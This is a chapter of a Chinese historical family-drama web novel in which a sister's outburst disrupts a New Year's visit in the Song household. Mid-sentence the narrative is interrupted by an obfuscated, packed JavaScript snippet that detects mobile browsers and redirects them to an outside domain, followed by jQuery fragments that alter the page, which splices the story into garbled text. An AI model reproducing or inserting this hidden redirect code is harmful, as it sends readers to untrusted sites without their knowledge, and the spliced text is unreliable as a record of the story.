承明十七年的新年，是在一场细雪中悄然来临的。


    奉京城银装素裹，宋府各处却透出暖融融的年意。茜红纱灯在廊下摇曳，新糊的窗纸上贴着洒金“福”字，连往来仆从的脚步都带着几分年节的轻快。


    宋清徵立在栖蝉院的窗前，望着庭院里积了薄雪的石径。回府已五日，她称病静养，实则是在这难得的清净中，细细梳理玉泉山的惊心动魄，以及回京途中那场“偶遇”。


    “姑娘，该去荣安堂了。”芙云轻声提醒，为她披上一件莲青色的斗篷，“今日初一，各房都要去给老太爷、太夫人拜年。”


    荣安堂内，炭火烧得正旺，暖香扑鼻。


    宋申中携柳氏率先行叩拜大礼。柳氏今日妆容格外精致，衣饰华贵，只是眉眼间那份沉郁挥之不去，连强挤出的笑意都显得僵硬。


    老夫人受了礼，温言嘱咐几句“夫妻和睦”，目光便转向了下首的孙辈。


    待长孙宋凌阡、次孙宋凌陌两兄弟拜完，


    宋清徵准备依序上前时，一道月白身影已翩然越前——是宋清芜。


    往年都是她领头，如今却悄然换了次序。


    只见宋清芜跪在锦垫上，身体盈盈伏低，声音婉转清越：“孙女清芜，恭祝祖父祖母新岁康泰，福寿绵长。”


    堂内众人的目光微妙地流转。宋清徵垂眸静立，待宋清芜礼毕，才与面色不豫的宋清兰一同上前，姿态平和，仿佛对这变化早有预料。


    老夫人满面是笑，连声道：“好，都是好孩子，快起来。”说着竟亲自俯身，虚扶了宋清芜一把，目光在她发间流转，语气亲昵：“芜丫头，前儿宫里新赏下来的那对赤金点翠衔珠钗，极衬你的气韵，今日怎不见戴？”


    宋清芜今日特意穿了件月白底绣红梅的交领绫缎袄，配着同色月华裙，浑身上下饰物不多，只耳垂坠着两颗温润的小珍珠，衬得人如初雪新梅。


    她依偎在老夫人身侧，柔声道：“祖母疼我，那样贵重的物件，年节里人多手杂，孙女怕有闪失，仔细收着呢。”


    她依偎在老夫人身侧，柔声答：“那样贵重的物件，年节里人多眼杂，孙女怕有闪失，便仔细收着了。”


    说着，她眼波轻转，落在宋清徵身上，笑意更深：“祖母快别只顾着疼我，倒叫妹妹们笑话。那匹翠缕青云锦，合该分三妹妹一匹才是。上元节宫宴，我们姐妹并肩，方不堕府上颜面。”


    这话听着大度，实则将她自己置于分配者的位置。宋清兰在一旁气得绞紧了帕子。


    宋清徵微微屈膝，语气不疾不徐：“大姐姐过谦了。谢祖母赏赐。”她退回原位，心中再明白不过——宋清芜既要独占鳌头，又要将她架在火上烤，引得宋清兰嫉恨。


    恰在此时，门外婆子高声通传：“柳家表少爷、信阳侯府卢世子前来拜贺！”


    话音未落，柳惟恒与卢音已一前一后步入厅堂。屏风后，宋清徵三人立即起身避入暖阁。


    柳惟恒身着宝蓝暗云纹杭绸直裰，外罩石青缂丝鹤氅，面容俊秀，步履从容。他先向上首行礼，贺词文雅得体。又向宋申中与柳氏拜年，最后与宋家兄弟相互揖礼，举止端方，令人观之可亲。


    宋鄞只略略颔首，寒暄两句“代问尊亲安好”，便不再多言。


    卢音紧随其后。作为宋清兰的未婚夫婿，他今日穿着簇新世子常服，面皮微红，透着一丝局促。他依次向长辈行礼，又与众人互致年礼，虽稍显稚嫩，倒也显出世家子弟的矜贵气度。


    宋鄞面色缓和了几分，问候了信阳侯安好，又勉励卢音“勤学上进”。


    厅内一时气氛融洽，言笑晏晏，仿佛真是一派天伦和乐。


    宋清徵透过屏风缝隙静静观察。她注意到柳惟恒在与宋家兄弟见礼的间隙，目光状似无意地扫过暖阁。那目光在她先前所立之处停留了一瞬，虽快得几乎难以捕捉，却足够敏锐的人察觉。


    果然，身边的宋清兰呼吸骤然急促起来。


    “都说柳表兄才貌佼然，素有‘谪郎’美誉。”宋清芜的声音轻柔响起，带着几分刻意的赞叹，“今日细看，卢世子风姿仪态，倒也不遑多让。”


    她顿了顿，语气转为惋惜：“只可惜，那位江侍读没来。否则三位俊杰齐聚，咱家的门槛怕是要被满京城的贵女踏破了。”


    宋清兰一心系在柳惟恒身上，闻言蹙眉，脱口低斥：“大姐姐眼神何时这般不济？什么阿猫阿狗也配与表哥相比！那姓江的是什么东西，听都没听过！”


    宋清芜用绢帕轻掩唇角，嗤笑一声：“五妹久居深闺，自然不知。那位江侍读如今在朝中风头正盛，文采武功皆不凡，模样气度……与你那‘恒哥哥’堪称一时瑜亮呢。”


    她眼波流转，意味深长地瞟向宋清徵，声音压得更低，“你若不信？何不问问你三姐姐？她回京那日路途不太平，可是多亏了江侍读‘仗义援手’呢。还得了‘英雄‘赠氅，这交情……”


    不待话音落尽，宋清兰的目光却猛地定住——只见屏风之外，柳惟恒在与宋家兄弟见礼的间隙，眼神似乎无意地扫过她们避入的暖阁方向，那目光流连之处，恰是宋清徵方才所立之处！


    这话如同火星，瞬间点燃了宋清兰积压的怨愤与新仇。她想起方才表哥那意味深长的一瞥，想起几月前表哥也曾“救美赠衣”，理智的弦骤然崩断。


    “不知廉耻！”她忘了场合，忘了屏风外的男客，尖利的声音骤然越过暖阁，“尽会使些下作手段勾引男人！庄子上不清不楚地回来，还有脸在这里装模作样！你怎么不死在外头！！”


    恶毒的咒骂划破厅堂的和乐。


    外间霎时一静。


    所有言笑戛然而止。柳惟恒眉头紧蹙，面现尴尬。卢音怔在原地，眼中流露出鄙夷与疏离。


    宋清徵垂在袖中的手微微收紧，面上却依旧平静。她抬眼，目光清凌凌地看向宋清兰，没有愤怒，只有一丝淡淡的怜悯。


    宋凌阡与宋凌陌面色骤变，迅速交换一个眼神。


    宋凌阡立即上前，不着痕迹地挡住客人视线，语气轻松手上却使了力道：“舍妹顽笑，口无遮拦，让二


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441956|182838||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    位见笑了。前厅新备了苏州来的年茶，还请移步一品。”说话间，已将柳、卢二人半请半引地带离。


    人刚走，宋鄞脸色已沉如寒潭。他未看屏风一眼，只将手中茶盏重重搁回几上，豁然起身，对老妻冷斥：“成何体统！”便拂袖而去。


    宋申中额角青筋跳动，狠狠瞪了面色惨白的柳氏一眼，匆匆跟上。


    厅内只剩老夫人与柳氏，以及屏风后噤若寒蝉的三人。老夫人手中茶盏重重一顿：“都给我出来！”


    三人转出屏风依次站定。老夫人目光如刃，先剜向宋清兰，又落在柳氏身上：“你们母女今年便在房里静静心，不必出门了！柳家那边，让伯渊带着阡哥儿、陌哥儿，还有……芜丫头去。”


    柳氏身子一颤，未等众人反应，猛地起身，“啪”一记响亮耳光已狠狠掴在宋清兰脸上！


    “是儿媳无用，管教无方。”她直挺挺跪下，声音嘶哑，“惊扰贵客，丢了府上颜面。儿媳谨听婆母教诲，定当严加管束！”语罢重重磕头，攥着宋清兰几乎是将人拖了出去。


    老夫人盯着她们狼狈的背影，疲惫地挥挥手：“你们都下去吧。今日之事，若有一字传出，绝不轻饶！”


    宋清芜与宋清徵默然行礼，退出荣安堂。


    行至通往各自院落的岔路，细雪纷扬。宋清芜停下脚步，侧身望向宋清徵，唇边噙着一丝不明笑意。


    “三妹妹，”她话音轻柔，融在落雪声中，“你说，等这新年热闹过去，你我……真能如祖母所盼的那般，‘平步青云’，得嫁贵人么？”


    宋清徵抬眼，目光平静地迎上她的试探：“姐姐说笑了。前程如何，各人造化罢了。”她语气淡然，却带着疏离的界限。


    宋清芜笑了笑，不再多言，月白身影袅袅没入庭院深处。


    宋清徵独立风雪中，细雪落在她浓密的睫毛上，凝成霜华。宋清芜最后那句话在耳边回响——得嫁贵人？她唇角泛起一丝几不可察的冷嘲。


    这深宅中的女子，眼界终究被困在了“嫁人”二字上。而她所求，远不止于此。


    这朱门绣户、暖阁华堂，比之玉泉山的刀光剑影，何尝不是另一重险境？只不过这里的刀剑是软语，是规矩，是杀人不见血的人心算计罢了。


    她拢紧身上裘氅，踏着新落的薄雪走向栖蝉院。


    刚踏入院门，舒月迎上来，压低的声音里带着兴奋：“姑娘，柳家出事了！御史联名参奏舅老爷纵奴行凶、鬻官卖爵……”


    宋清徵脚步略顿，眼底掠过一丝了然。江遇的动作，好快。


    前方之路，他已然替她拨开第一道险阻，难怪今日柳氏会如此隐忍。


    她拢了拢袖中微凉的手指，这盘棋，他已落下一子，接下来，该她出手了。


    柳镰若倒下，柳氏则不足为惧，而宋清芜，所思所行皆与她相反，既非同路，往后便该划清界限，她与她，终究不是一池之“萍”。


    新雪匆匆，覆盖了旧迹，也掩去了无数算计。但她知道，真正的博弈，已从家宅，延伸至朝局。